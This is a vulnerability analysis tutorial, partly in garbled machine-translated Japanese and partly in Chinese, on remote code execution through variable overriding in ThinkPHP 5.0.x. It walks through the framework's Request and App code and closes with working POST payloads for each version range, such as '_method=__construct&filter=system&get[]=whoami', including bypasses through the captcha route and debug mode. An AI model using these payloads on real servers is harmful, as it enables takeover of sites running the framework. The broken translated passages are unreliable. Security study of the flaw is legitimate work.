thinkphp の次のチュートリアル コラムでは、thinkphp5.0.X の完全版における変数カバレッジによって引き起こされる RCE 分析を紹介します。困っている友達!
はじめに私はいつも thinkphp5.0.X のサイトを見つけて、オンラインで脆弱性を検索しています。変数カバレッジによってリモート コードを実行するために使用できるペイロードにはいくつかの種類があり、小さなバージョンごとに次のような違いがあります。_method=__construct&filter=system&a=whoami _method=__construct&filter=system&a=whoami&method=GET _method=__construct&filter=system&get[]=whoami ...
これらのタイプの違いは何ですか?
各パラメータの機能は何ですか? ### なぜこうなった?
分析
、もう1つはフルバージョンです。簡単に言うと、コア バージョンには検証コード ライブラリなどのサードパーティ ライブラリは含まれていません (強調は後で使用します)。
5.0.0 以降、5.0.0 に適用されるコード実行ペイロードは次のようになりますPOST /thinkphp5.0.0 HTTP/1.1
_method=__construct&filter=system&a=whoami&method=GET
なぜ_method=__construct 理由
filter=system 理由
a=whoami 理由
method=GETthinkphp のエントリ ファイルは、次のように
です。 <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false;">// 定义应用目录
define(&#39;APP_PATH&#39;, __DIR__ . &#39;/../application/&#39;);
// 加载框架引导文件
require __DIR__ . &#39;/../thinkphp/start.php&#39;;</pre><div class="contentsignin">ログイン後にコピー</div></div>
フォローアップ
。 <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false;">// 1. 加载基础文件
require __DIR__ . &#39;/base.php&#39;;
// 2. 执行应用
App::run()->send();</pre><div class="contentsignin">ログイン後にコピー</div></div>
がアプリケーションを実行するために呼び出されることを確認してください。
thinkphp/library/think/App.php
にある run()
関数をフォローアップします。 <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false;"> /**
* 执行应用程序
* @access public
* @param Request $request Request对象
* @return Response
* @throws Exception
*/
public static function run(Request $request = null)
{
...
// 获取应用调度信息
$dispatch = self::$dispatch;
if (empty($dispatch)) {
// 进行URL路由检测
$dispatch = self::routeCheck($request, $config);
}
// 记录当前调度信息
$request->dispatch($dispatch);
...
}</pre><div class="contentsignin">ログイン後にコピー</div></div>
関数では、要求された情報に従って self::routeCheck()
関数が呼び出され、URL ルーティング検出を実行します。スケジュール情報を取得し、それを $dispatch
に割り当てます。 <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false;"> /**
* URL路由检测(根据PATH_INFO)
* @access public
* @param \think\Request $request
* @param array $config
* @return array
* @throws \think\Exception
*/
public static function routeCheck($request, array $config)
{
...
// 路由检测(根据路由定义返回不同的URL调度)
$result = Route::check($request, $path, $depr, $config[&#39;url_domain_deploy&#39;]);
...
return $result;
}</pre><div class="contentsignin">ログイン後にコピー</div></div>
関数は次のとおりです。 <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false;"> /**
* 检测URL路由
* @access public
* @param Request $request Request请求对象
* @param string $url URL地址
* @param string $depr URL分隔符
* @param bool $checkDomain 是否检测域名规则
* @return false|array
*/
public static function check($request, $url, $depr = &#39;/&#39;, $checkDomain = false)
{
...
$method = $request->method();
// 获取当前请求类型的路由规则
$rules = self::$rules[$method];
...</pre><div class="contentsignin">ログイン後にコピー</div></div>
は、
関数を呼び出して、現在のリクエスト タイプを取得します。 <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false;"> /**
* 当前的请求类型
* @access public
* @param bool $method true 获取原始请求类型
* @return string
*/
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return IS_CLI ? &#39;GET&#39; : (isset($this->server[&#39;REQUEST_METHOD&#39;]) ? $this->server[&#39;REQUEST_METHOD&#39;] : $_SERVER[&#39;REQUEST_METHOD&#39;]);
} elseif (!$this->method) {
if (isset($_POST[Config::get(&#39;var_method&#39;)])) {
$this->method = strtoupper($_POST[Config::get(&#39;var_method&#39;)]);
$this->{$this->method}($_POST);
...
return $this->method;
}</pre><div class="contentsignin">ログイン後にコピー</div></div>
上記で呼び出された
関数はパラメーターを渡さないため、ここでは $method = false
として、elseif
と入力します。 var_method
はフォームリクエスト型のカモフラージュ変数で、その値は application/config.php
で _method
として確認できます。 <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false;">// 表单请求类型伪装变量
&#39;var_method&#39; => &#39;_method&#39;,</pre><div class="contentsignin">ログイン後にコピー</div></div>
POST が
パラメータを渡す限り、次の if を入力すると <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false;">$this->method = strtoupper($_POST[Config::get(&#39;var_method&#39;)]);
$this->{$this->method}($_POST);</pre><div class="contentsignin">ログイン後にコピー</div></div>
が実行されるため、## を指定して呼び出すことができます。 #_method
したがって、_method=__construct
は、
thinkphp/library/think/Request.php にある
__construct 関数を呼び出すことになります。 Request クラスの
$method の値も
__construct で上書きされることに注意してください。これは非常に重要なので、最初に記録してください。
method => __construct
では、攻撃チェーンを完了するために、なぜ別の関数ではなく
__construct 関数を呼び出す必要があるのでしょうか? フォローアップ機能は以下の通りです。 <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false;"> /**
* 架构函数
* @access public
* @param array $options 参数
*/
public function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get(&#39;default_filter&#39;);
}
}</pre><div class="contentsignin">ログイン後にコピー</div></div>
上記の
__construct
$_POST 配列が渡されました。これは、## の走査に
foreach が使用されることを意味します。 #POST
データを送信し、property_exists()
を使用して現在のクラスにこのプロパティがあるかどうかを検出し、存在する場合は値を割り当て、$name と $item
は両方とも $_POST
から完全に制御可能ですが、変数の適用範囲の問題があります。 filter=system&method=GET
は、現在のクラスの $filter
を system
に上書きし、$method
を GET に上書きするために使用されます。
、現在の変数の状況: <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false;">method => __construct => GET
filter => system</pre><div class="contentsignin">ログイン後にコピー</div></div>
なぜ method
を
に再度上書きする必要があるのでしょうか? check()
関数には 2 行のコードがあるためです。 <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false;">$method = $request->method();
// 获取当前请求类型的路由规则
$rules = self::$rules[$method];</pre><div class="contentsignin">ログイン後にコピー</div></div>
変数の上書きは method()
関数ですでに行われており、
の値は __construct
です。 $rules の定義は次のとおりです。 <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false;"> private static $rules = [
&#39;GET&#39; => [],
&#39;POST&#39; => [],
&#39;PUT&#39; => [],
&#39;DELETE&#39; => [],
&#39;PATCH&#39; => [],
&#39;HEAD&#39; => [],
&#39;OPTIONS&#39; => [],
&#39;*&#39; => [],
&#39;alias&#39; => [],
&#39;domain&#39; => [],
&#39;pattern&#39; => [],
&#39;name&#39; => [],
];</pre><div class="contentsignin">ログイン後にコピー</div></div>
$method
が再度オーバーライドされない場合、
などになります。 self::$rules [$method]
は self::$rules['__construct']
であり、プログラムはエラーを報告します。 アプリケーションのスケジュール情報を取得した後、
debug
をオンにすると、ルーティング情報とリクエスト情報が記録されます。これも非常に重要なので、最初に記録してください。
if (self::$debug) { Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info'); Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info'); Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info'); }
次に、$dispatch タイプに基づいて
switch case 処理を開始します。 <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false;"> switch ($dispatch[&#39;type&#39;]) {
case &#39;redirect&#39;:
// 执行重定向跳转
$data = Response::create($dispatch[&#39;url&#39;], &#39;redirect&#39;)->code($dispatch[&#39;status&#39;]);
break;
case &#39;module&#39;:
// 模块/控制器/操作
$data = self::module($dispatch[&#39;module&#39;], $config, isset($dispatch[&#39;convert&#39;]) ? $dispatch[&#39;convert&#39;] : null);
break;
case &#39;controller&#39;:
// 执行控制器操作
$data = Loader::action($dispatch[&#39;controller&#39;]);
break;
case &#39;method&#39;:
// 执行回调方法
$data = self::invokeMethod($dispatch[&#39;method&#39;]);
break;
case &#39;function&#39;:
// 执行闭包
$data = self::invokeFunction($dispatch[&#39;function&#39;]);
break;
case &#39;response&#39;:
$data = $dispatch[&#39;response&#39;];
break;
default:
throw new \InvalidArgumentException(&#39;dispatch type not support&#39;);
}</pre><div class="contentsignin">ログイン後にコピー</div></div>
public/index.php
への直接アクセス
モジュール名/コントローラ名/オペレーション名は、
/index/index/index#です。 # #、特に application/config.php で定義されています。 <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false;">// 默认模块名
&#39;default_module&#39; => &#39;index&#39;,
// 禁止访问模块
&#39;deny_module_list&#39; => [&#39;common&#39;],
// 默认控制器名
&#39;default_controller&#39; => &#39;Index&#39;,
// 默认操作名
&#39;default_action&#39; => &#39;index&#39;,</pre><div class="contentsignin">ログイン後にコピー</div></div><p>因此对应的<code>$dispatch['type']
为module
,会调用module()
函数,经过一系列的处理后返回数据到客户端。
case 'module': // 模块/控制器/操作 $data = self::module($dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null); break;
跟进module()
函数,关键在invokeMethod()
。
/** * 执行模块 * @access public * @param array $result 模块/控制器/操作 * @param array $config 配置参数 * @param bool $convert 是否自动转换控制器和操作名 * @return mixed */ public static function module($result, $config, $convert = null) { ... $data = self::invokeMethod($call); ...
invokeMethod()
如下,跟进bindParams()
。
/** * 调用反射执行类的方法 支持参数绑定 * @access public * @param string|array $method 方法 * @param array $vars 变量 * @return mixed */ public static function invokeMethod($method, $vars = []) { ... $args = self::bindParams($reflect, $vars); ... }
bindParams()
如下,跟进param()
。
/** * 绑定参数 * @access public * @param \ReflectionMethod|\ReflectionFunction $reflect 反射类 * @param array $vars 变量 * @return array */ private static function bindParams($reflect, $vars = []) { if (empty($vars)) { // 自动获取请求变量 if (Config::get('url_param_type')) { $vars = Request::instance()->route(); } else { $vars = Request::instance()->param(); } }
这是关键点,param()
函数是获取当前请求参数的。
/** * 设置获取获取当前请求的参数 * @access public * @param string|array $name 变量名 * @param mixed $default 默认值 * @param string|array $filter 过滤方法 * @return mixed */ public function param($name = '', $default = null, $filter = null) { if (empty($this->param)) { $method = $this->method(true); // 自动获取请求变量 switch ($method) { case 'POST': $vars = $this->post(false); break; case 'PUT': case 'DELETE': case 'PATCH': $vars = $this->put(false); break; default: $vars = []; } // 当前请求参数和URL地址中的参数合并 $this->param = array_merge($this->get(false), $vars, $this->route(false)); } if (true === $name) { // 获取包含文件上传信息的数组 $file = $this->file(); $data = array_merge($this->param, $file); return $this->input($data, '', $default, $filter); } return $this->input($this->param, $name, $default, $filter); }
这里又会调用method()
获取当前请求方法,然后会根据请求的类型来获取参数以及合并参数,参数的来源有get[],route[],$_POST
,那么通过可以变量覆盖传参,也可以直接POST传参。
所以以下几种方式都是一样可行的:
a=whoami aaaaa=whoami get[]=whoami route=whoami
最后调用input()
函数
/** * 获取变量 支持过滤和默认值 * @param array $data 数据源 * @param string|false $name 字段名 * @param mixed $default 默认值 * @param string|array $filter 过滤函数 * @return mixed */ public function input($data = [], $name = '', $default = null, $filter = null) { ... if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter); reset($data); } else { $this->filterValue($data, $name, $filter); } ... }
input()
函数中会通过filterValue()
函数对传入的所有参数进行过滤,这里全局过滤函数已经在前面被覆盖为system
并会在filterValue()
函数中使用。
/** * 递归过滤给定的值 * @param mixed $value 键值 * @param mixed $key 键名 * @param array $filters 过滤方法+默认值 * @return mixed */ private function filterValue(&$value, $key, $filters) { $default = array_pop($filters); foreach ($filters as $filter) { if (is_callable($filter)) { // 调用函数或者方法过滤 $value = call_user_func($filter, $value); ...
通过call_user_func()
完成任意代码执行,这也就是filter
为什么要覆盖成system
的原因了,覆盖成别的函数也行,想执行什么覆盖成什么。
在thinkphp5.0.8以后thinkphp/library/think/Route.php下的check()
函数中有一处改动。
这里多了一处判断,所以不加method=GET
也不会报错,可以正常执行。
_method=__construct&filter=system&a=whoami
测试到5.0.13版本,payload打过去没有反应,为什么?
跟踪代码发现thinkphp/library/think/App.php
下的module()
函数多了一行代码。
// 设置默认过滤机制 $request->filter($config['default_filter']);
前面通过变量覆盖把$filter
覆盖成了system,这里又把$filter
给二次覆盖回去了,导致攻击链断了。
前面提到过如果开启了debug模式,很重要,为什么呢?
// 记录路由和请求信息 if (self::$debug) { Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info'); Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info'); Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info'); }
最后一句会调用param()
函数,而攻击链核心就是通过前面的变量覆盖全局过滤函数$filter
,进入param()
获取参数再进入input()
进行全局过滤造成的代码执行。这里在$filter
被二次覆盖之前调用了一次param()
,也就是说如果开启了debug,在5.0.13开始也可以攻击,也是为什么有时候代码执行会返回两次结果的原因。filter
是在module
函数中被覆盖回去的,而执行module
函数是根据$dispatch
的类型来决定的,那是否能不走module
函数,绕过这里的覆盖呢?
在完整版的thinkphp中,有提供验证码类库,其中的路由定义在vendor/topthink/think-captcha/src/helper.php
中。
\think\Route::get('captcha/[:id]', "\\think\\captcha\\CaptchaController@index");
其对应的dispatch
类型为method
,完美的避开了二次覆盖,路由限定了请求类型为get
,所以在5.0.13开始,如果没有开debug
,还可以调用第三方类库完成攻击链。
POST /?s=captcha _method=__construct&filter=system&method=GET&a=whoami
到5.0.21版本开始,函数method()
有所改动。
通过server()
函数获取请求方法,并且其中调用了input()
函数。
/** * 获取server参数 * @access public * @param string|array $name 数据名称 * @param string $default 默认值 * @param string|array $filter 过滤方法 * @return mixed */ public function server($name = '', $default = null, $filter = '') { if (empty($this->server)) { $this->server = $_SERVER; } if (is_array($name)) { return $this->server = array_merge($this->server, $name); } return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter); }
前面分析过了,最后代码执行是进入input()
中完成的,所以只要能进入server()
函数也可以造成代码执行。
POST /?s=captcha HTTP/1.1 _method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami
param()
函数是根据method()
返回值来获取参数的,现在method()
的逻辑变了,如果不传递server[REQUEST_METHOD]
,返回的就是GET,阅读代码得知参数的来源有$param[]、$get[]、$route[]
,还是可以通过变量覆盖来传递参数,但是就不能用之前形如a=whoami
任意参数名来传递了。
// 当前请求参数和URL地址中的参数合并 $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
在测试的时候发现只能通过覆盖get[]、route[]
完成攻击,覆盖param[]
却不行,调试后找到原因,原来是在route()
函数里param[]
又被二次覆盖了。
/** * 设置获取路由参数 * @access public * @param string|array $name 变量名 * @param mixed $default 默认值 * @param string|array $filter 过滤方法 * @return mixed */ public function route($name = '', $default = null, $filter = '') { if (is_array($name)) { $this->param = []; return $this->route = array_merge($this->route, $name); } return $this->input($this->route, $name, $default, $filter); }
POST /?s=captcha HTTP/1.1 _method=__construct&filter=system&method=GET&get[]=whoami
或者
POST /?s=captcha HTTP/1.1 _method=__construct&filter=system&method=GET&route[]=whoami
各版本通用的变量覆盖payload如下
5.0.0~5.0.12 无条件触发
POST / HTTP/1.1 _method=__construct&filter=system&method=GET&a=whoami a可以替换成get[]、route[]或者其他名字
5.0.13~5.0.23 需要有第三方类库 如完整版中的captcha
POST /?s=captcha HTTP/1.1 _method=__construct&filter=system&method=get&get[]=whoami get[]可以换成route[]
5.0.13~5.0.23 需要开启debug
POST / HTTP/1.1 _method=__construct&filter=system&get[]=whoami get[]可以替换成route[]
相关推荐:最新的10个thinkphp视频教程
以上がthinkphp5.0.X の製品版における変数カバレッジによる RCE 分析についての詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。